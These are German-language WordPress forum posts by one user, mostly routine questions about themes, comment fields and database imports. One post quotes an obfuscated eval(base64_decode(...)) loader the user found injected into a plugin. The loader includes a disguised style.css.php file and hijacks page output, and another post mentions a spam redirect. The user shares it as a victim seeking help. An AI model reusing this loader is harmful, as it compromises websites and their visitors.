vielen Dank für die Antwort. Sie hat mich auf die richtige Fährte gelockt.
Jetzt funktionierts.
Beiträge von chris1
-
-
hier funktioniert es perfekt und einigermaßen schnell.
-
Hallo,
Wenn ich beim Widget "Neue Kommentare" das Füllwort (on) übersetzen will... (siehe Screenshot)
wo geht das genau?Hab schon im Editor alle php-Dateien nach "on" durchsucht und nur diesen Code zweimal in der functions.php gefunden.
PHP<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> on <?php comment_time() ?></a> <?php edit_comment_link('edit',' ',''); ?></small>Wenn ich da das "on" in "in" übersetze, passiert garnichts.
WP: 2.9.2 Theme: Pixel 1.9.1
-
vielen Dank für die Antwort.
Jetzt sieht es so aus... siehe Screenshot...Irgendwas stimmt da mit dem "eingeloggt sein" nicht, denn ich bin eingeloggt. Was muss ich da tun?
bgeissler
...ich hatte mich unklar ausgedrückt... sorry.
Ich habe einen Artikel, der "Fragen stellen" heißt.
Bisher habe ich den Artikel-Link in einem Textwidget in der Sidebar im sofort sichtbaren Bereich recht weit oben platziert.D.h. die User klicken in der Sidebar auf den Link und kommen auf den Artikel: Fragen Stellen
Da gibt es jede Menge Fragen/bzw. Kommentare (also ein Erfolg).
Allerdings sehen die User das Kommentareingabefeld nicht sofort, sondern müssen erst scrollen.Das will ich ihnen ersparen.
Also soll ein zusätzliches Kommentarfeld (also eine Kopie des Feldes auf dem Artikel "Fragen Stellen" in die Sidebar statt des bisherigen Links.Wenn man auf senden klickt, soll man wieder auf den Artikel "Fragen stellen" kommen und da der letzte Kommentar oben angezeigt wird, sieht man dann seinen neu publizierten Kommentar.
Grund: Bessere Userführung bzw. Usability für Anfänger.
-
Sentry funktioniert richtig gut. Dort kannst Du sogar beliebig viele Benutzergruppen einrichten und denen bestimmte Seiten zeigen, die du vorher als privat gekennzeichnet hast.
Funktioniert auch mit 2.9 -
Hi,
in meinem Screenshot seht ihr wie bei mir unter dem Punkt:
Artikel bearbeiten die Artikel untereinander dargestellt werden.Das hier ist noch ein guter Fall. Wenn nun der Titel länger ist und mehr Tags vergeben sind, bekomme ich im Extremfall nur einen Artikel pro Bildschirmseite angezeigt.
Was tun?
v.2.9.2 -
Hi,
wenn Du mit Header Deinen Blogtitel oben links in der Ecke meinst, dann funktioniert das von alleine. Den Blogtitel findest Du unter
Admin/Einstellungen/Allgemeinhth
-
Hi,
in deinem Screenshot befindest du dich im html-Modus.
Prinzipiell kann ich Dir auch empfehlen nur im html-Modus zu arbeiten. Zur Visualisierung kannst du ja ein zweites Fenster mit der Blogoberfläche nutzen, welches du dann neu lädst.Tags: hast du auch auf ok geklickt bevor du den Artikel veröffentlicht hast?
-
Kommentarfeld in die Sidebar... wie?
Hi,
ich möchte gern ein Kommentarfeld in der Sidebar haben.Hab schon versucht den Code da rüber zu kopieren, was aber dann anders aussieht als ursprünglich.
Was kann ich machen?
Nehme zur Not auch ein plugin.Hier ist mein comment.php code:
PHP
Alles anzeigen<?php // Do not delete these lines // thanks to Jeremy at http://clarktech.no-ip.com for the tips if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if (function_exists('post_password_required')) { if ( post_password_required() ) { echo '<p class="nocomments">This post is password protected. Enter the password to view comments.</p>'; return; } } else { if (!empty($post->post_password)) { // if there's a password if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie ?> <p class="nocomments">Dieser Post ist Passwort geschützt. Gebe Dein Passwort ein um die Kommentare zu sehen.</p> <?php return; } } } if (function_exists('wp_list_comments')): //WP 2.7 Comment Loop if ( have_comments() ) : ?> <?php if ( ! empty($comments_by_type['comment']) ) : $count = count($comments_by_type['comment']); ($count !== 1) ? $txt = "Kommentare für diesen Artikel" : $txt = "Kommentar für diesen Artikel"; ?> <h3 id="comments"><?php echo $count . " " . $txt; ?></h3> <ul class="commentlist"> <?php wp_list_comments('type=comment&callback=mytheme_comment'); ?> </ul> <?php endif; ?> <div class="navigation"> <div class="alignleft"><?php previous_comments_link() ?></div> <div class="alignright"><?php next_comments_link() ?></div> <div class="cleared"></div> </div> <?php if ( ! empty($comments_by_type['pings']) ) : $countp = count($comments_by_type['pings']); ($countp !== 1) ? $txtp = "Trackbacks / Pingbacks for this entry" : $txtp = "Trackback or Pingback for this entry"; ?> <h3><?php echo $countp . " " . $txtp; ?></h3> <ul class="trackback"> <?php wp_list_comments('type=pings&callback=mytheme_ping'); ?> </ul> <?php endif; ?> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : // If comments are open, but there are no comments. else : ?><p class="nocomments">Kommentare sind geschlossen.</p> <?php endif; endif; else: //WP 2.6 and older Comment Loop /* This variable is for alternating comment background */ $oddcomment = 'alt'; ?> <!-- You can start editing here. --> <?php if ($comments) : ?> <h3 id="comments"><?php comments_number('No comments filed', 'One comment', '% comments' );?> to “<?php the_title(); ?>”</h3> <ol class="commentlist"> <?php foreach ( $comments as $comment ) : ?> <li class="<?php echo $oddcomment; ?>" id="comment-<?php comment_ID() ?>"> <a class="gravatar"> <?php $mygravatarurl = get_bloginfo('template_directory')."/images/gravatar-trans.png"; if (function_exists('get_avatar')) { echo get_avatar( $comment, 60, $mygravatarurl); } else { //alternate gravatar code for < 2.5 $grav_url = "http://www.gravatar.com/avatar.php?gravatar_id= " . md5($email) . "&default=" . urlencode($default) . "&size=" . $size; echo "<img src='$grav_url' height='60px' width='60px' />"; } ?> </a> <div class="commentbody"> <cite><?php comment_author_link() ?></cite> <?php if ($comment->comment_approved == '0') : ?> <em>Dein Kommentar wartet auf Moderation.</em> <?php endif; ?> <br /> <small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> am <?php comment_time() ?></a> <?php edit_comment_link('edit',' ',''); ?></small> <?php comment_text() ?> </div><div class="cleared"></div><!-- clears the floats so the backgrounds show all the way down --> </li> <?php /* Changes every other comment to a different class */ if ('alt' == $oddcomment) $oddcomment = ''; else $oddcomment = 'alt'; ?> <?php endforeach; /* end for each comment */ ?> </ol> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : ?> <!-- If comments are open, but there are no comments. --> <?php else : // comments are closed ?> <!-- If comments are closed. --> <p class="nocomments">Kommentare sind geschlossen.</p> <?php endif; ?> <?php endif; ?> <?php endif; // 2.6 and older Comment Loop end ?> <?php if ('open' == $post->comment_status) : ?> <div class="cleared"></div> <div id="respond"> <h3>Hinterlasse eine Antwort</h3> <?php if (function_exists('cancel_comment_reply_link')) { //2.7 comment loop code ?> <div id="cancel-comment-reply"> <small><?php cancel_comment_reply_link();?></small> </div> <?php } ?> <?php if ( get_option('comment_registration') && !$user_ID ) : ?> <p>Du musst<a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">eingelogged sein</a> um einen Kommentar zu senden.</p></div> <?php else : ?> <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform"> <?php if ( $user_ID ) : ?> <p>Eingelogged als <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout »</a></p> <?php else : ?> <p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" /> <label for="author"><small>Name <?php if ($req) echo "(erforderlich)"; ?></small></label></p> <p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" /> <label for="email"><small>Mail (wird nicht veröffentlicht) <?php if ($req) echo "(erforderlich)"; ?></small></label></p> <p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" /> <label for="url"><small>Website</small></label></p> <?php endif; ?> <?php if (function_exists('cancel_comment_reply_link')) { //2.7 comment loop code ?> <?php comment_id_fields(); ?> <?php } ?> <!--<p><small><strong>XHTML:</strong> You can use these tags: <?php echo allowed_tags(); ?></small></p>--> <p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p> <p><input name="submit" type="submit" id="submit" class="submitbutton" tabindex="5" value="Senden" /> <input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" /> </p> <?php do_action('comment_form', $post->ID); ?> </form> </div> <?php endif; // If registration required and not logged in ?> <?php endif; // if you delete this the sky will fall on your head ?> -
vielen Dank... gute Antworten... arbeite mich da sukzessive durch.
-
Vielen Dank für die Antworten,
gibt es irgendwo eine Checklist, welche Eingänge geschlossen werden sollten? bzw. welche Themes, welche Plugins, etc? -
Danke für die Antworten...
Domino5702
in allen php-DateienD4N13L
hatte das Problem auch schon mit einem anderen Blog mit viel Traffic.
Resultat:
Sobald jemand einen meiner Links bei Google angeklickt hat, wurde der User zu einer Viagra Seite geschickt.
Außerdem... wie kann mir jemand diesen Code da reinkleben?
...und was initiiert dieser übersetzte Code diesmal? -
gut... vielen Dank für die Info.
Was ist mit dem offensichtlichen Sicherheitsproblem bzgl. des Fremdcodes?
Wo ist die Sicherheitslücke? -
Hi,
hab grad festgestellt, dass ich meine theme-Dateien nicht ändern kann... kein Zugriff.
Daraufhin hab ich im Forum gesucht und nachdem ich ein Plugin deaktiviert hab, kann ich wieder zugreifen.Das Plugin war: Admin SSL v. 1.4.1
Nach der Deaktivierung hab ich da fremden Code drin:PHP<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lcGFnZXMvdTMzMDIwL29wZW54L2xpYi9wZWFyL0hUTUwvVGVtcGxhdGUvRmxleHkvQ29tcGlsZXIvU3RhbmRhcmQvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>Ich hatte eigentlich seinerzeit die 2.9.2 Version installiert, um meinen Blog sicherer zu bekommen.
ich will den Code einfach rausschmeißen, aber wie kann ich da sicherer werden?
-
ups sorry... hab verschiedene Sachen laufen... die 2.5.1 bezieht sich auf einen anderen Blog.
Ansonsten hatte ich hier im header 2.9.2 als version angegeben für den gemeinten Fall.Trotzdem danke für die Hinweise an beide. Ich versuchs.
-
hi,
hab grad versucht den Google Analytics code in einem frischen Blog wie gewohnt in
dashboard/design/editor/footer.php
vor dem schließenden body-tag einzufügen.Die Fehlermeldung nach der Aktualisierung war:
Das angeforderte Theme existiert nicht.Weiß jemand wie es klappt?
-
Hi,
Jetzt hab ich alle Dateien über phpmyadmin wieder importiert und sehe etwas, was ich nicht verstehe:
Ich habe sowohl in der alten als auch in der neuen Tabelle wp_options 401 Einträge. Allerdings eine unterschiedliche Kilobyte-Angabe:
alt: 900,8 KB neu 909,8 KBKann mir das jemand erklären? Denselben Effekt habe ich bei anderen Tabellen auch, allerdings nicht bei allen.
-
Vielen Dank für die Antwort. Die Anregungen haben mich zur Lösung geführt.
-
hi,
ich habe eine recht große Tabelle, die ich mit dem Texteditor in mehrere kleinere aufgeteilt habe und nun nach und nach importieren will.Die erste Datei war kein Problem, da der Kopf der Datei richtig ist und die Befehle stimmen.
Was muss ich am Kopf der Datei ändern, damit auch die weiteren Daten hinzugefügt werden ohne die schon vorhandenen zu löschen?
Hier ist der Kopf, den ich bisher verwende:
Code
Alles anzeigen-- phpMyAdmin SQL Dump -- version 2.6.4-pl3 -- http://www.phpmyadmin.net -- -- Host: xxx.xxx.de -- Erstellungszeit: 01. April 2010 um 13:33 -- Server Version: 5.0.84 -- PHP-Version: 4.4.9 -- -- Datenbank: `dbank1` -- -- -------------------------------------------------------- -- -- Tabellenstruktur für Tabelle `wp_slim_countries` -- DROP TABLE IF EXISTS `wp_slim_countries`; CREATE TABLE `wp_slim_countries` ( `ip_from` int(10) unsigned default '0', `ip_to` int(10) unsigned default '0', `country_code` char(2) collate latin1_german2_ci default '', KEY `ip_from_idx` (`ip_from`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_german2_ci; -- -- Daten für Tabelle `wp_slim_countries` -- ...hier folgen die Daten... -
hat sich erledigt... könnt ihr löschen.